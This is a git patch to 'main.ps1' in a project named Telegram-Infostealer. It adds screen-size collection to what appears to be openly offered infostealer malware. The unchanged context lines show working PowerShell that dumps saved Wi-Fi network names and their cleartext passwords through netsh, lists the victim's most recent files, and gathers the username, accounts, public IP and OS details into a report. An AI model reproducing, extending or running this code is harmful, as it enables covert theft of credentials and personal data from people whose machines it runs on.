From ca9586b90b5a96aa12e5e0d0aa09b8bae5a65ba5 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Wed, 17 Jan 2024 19:17:57 +0000 Subject: [PATCH] Update main.ps1 --- Telegram-Infostealer/main.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Telegram-Infostealer/main.ps1 b/Telegram-Infostealer/main.ps1 index 6ff8467..e1e4d04 100644 --- a/Telegram-Infostealer/main.ps1 +++ b/Telegram-Infostealer/main.ps1 @@ -55,6 +55,8 @@ $outssid="";$a=0;$ws=(netsh wlan show profiles) -replace ".*:\s+";foreach($s in if($a -gt 1 -And $s -NotMatch " policy " -And $s -ne "User profiles" -And $s -NotMatch "-----" -And $s -NotMatch "" -And $s.length -gt 5){$ssid=$s.Trim();if($s -Match ":"){$ssid=$s.Split(":")[1].Trim()} $pw=(netsh wlan show profiles name=$ssid key=clear);$pass="None";foreach($p in $pw){if($p -Match "Key Content"){$pass=$p.Split(":")[1].Trim();$outssid+="SSID: $ssid : Password: $pass`n"}}}$a++;} $RecentFiles = Get-ChildItem -Path $env:USERPROFILE -Recurse -File | Sort-Object LastWriteTime -Descending | Select-Object -First 100 FullName, LastWriteTime +$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen;$Width = $Screen.Width;$Height = $Screen.Height;$screensize = "${width} x ${height}" + $contents = "======================================================== Current User : $env:USERNAME @@ -65,6 +67,7 @@ Other Accounts : $users Public IP : $computerPubIP Current OS : $OSString Build : $ver +Screen Size : $screensize Hardware Info -------------------------------------------------------- $systemString"